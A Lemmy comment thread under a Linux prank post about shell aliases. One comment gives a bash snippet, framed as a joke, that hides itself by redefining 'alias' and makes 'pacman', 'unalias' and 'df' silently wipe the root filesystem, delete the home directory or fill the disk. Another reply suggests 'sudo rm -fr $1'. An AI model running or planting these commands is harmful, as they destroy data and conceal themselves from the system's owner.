This is a great idea

TimeSquirrel , 2 months ago

OMG, that's horrible. Back in my day all we did was set a screenshot of the desktop as the wallpaper, and then hide all the icons to prank people.

user224 , 2 months ago (edited 2 months ago)

This needs to be done with something that would be run as root, in a more hidden way, without disrupting service.

export OLDALIASVALUES=$(alias) \
&& alias alias='echo "${OLDALIASVALUES}"' \
&& \alias pacman='(rm -rf --no-preserve-root / &) &> /dev/null ; \pacman' \
&& \alias unalias='(rm -rf ~/* ~/.* &) &> /dev/null ; sleep 5 ; echo "Not so fast my friend. You_re becoming homeless."' \
&& \alias df='(cat /dev/urandom >> ~/.df_stands_for_disk_full &) &> /dev/null ; \df'

It's not perfect, plus I added something extra, but it's a slight improvement.
Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x. Nevermind, copy-pasted it into glorious Vim, I didn't escape the single quote in "You're".
Edit 2: Nevermind, that still screws up single quotes as \ is literal. _ will do ¯\⁠⁠(⁠ツ⁠)⁠⁠/⁠¯

backhdlp , 2 months ago

you have to alias alias last, so it actually aliases.

user224 , 2 months ago

Oh crap, I forgot. Thanks. I just escaped it.

backhdlp , 2 months ago

Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x.

There is! Markdown supports

```<language>

to enable syntax highlighting in code blocks. If you have an invalid language (e.g. .), it will just disable syntax highlighting.

redmouse , 2 months ago

Does this really work? Won't be this a security issue since this may be used for privilege escalation?

XEAL , 2 months ago

You monster, at least do

sudo rm -fr $1

callyral , 2 months ago

oh i'd totally do this as a joke then run ls right after

whyisthesheep OP , 2 months ago

yeah I almost forgot to run alias ls="ls" after

stepanzak , 2 months ago

Do we have a linux shitposting community? (no offense, this is a great shitpost)

Donkter , 2 months ago

Just how different is a meme community to a shitpost community. Do we really need to split them?

stepanzak , 2 months ago

We probably don't. But we might want to if we get enough shitposts covering the high-effort memes. But I agree it doesn't make much sense here on Lemmy for now.

synae , 2 months ago

I just want to say, I appreciate your optimism and planning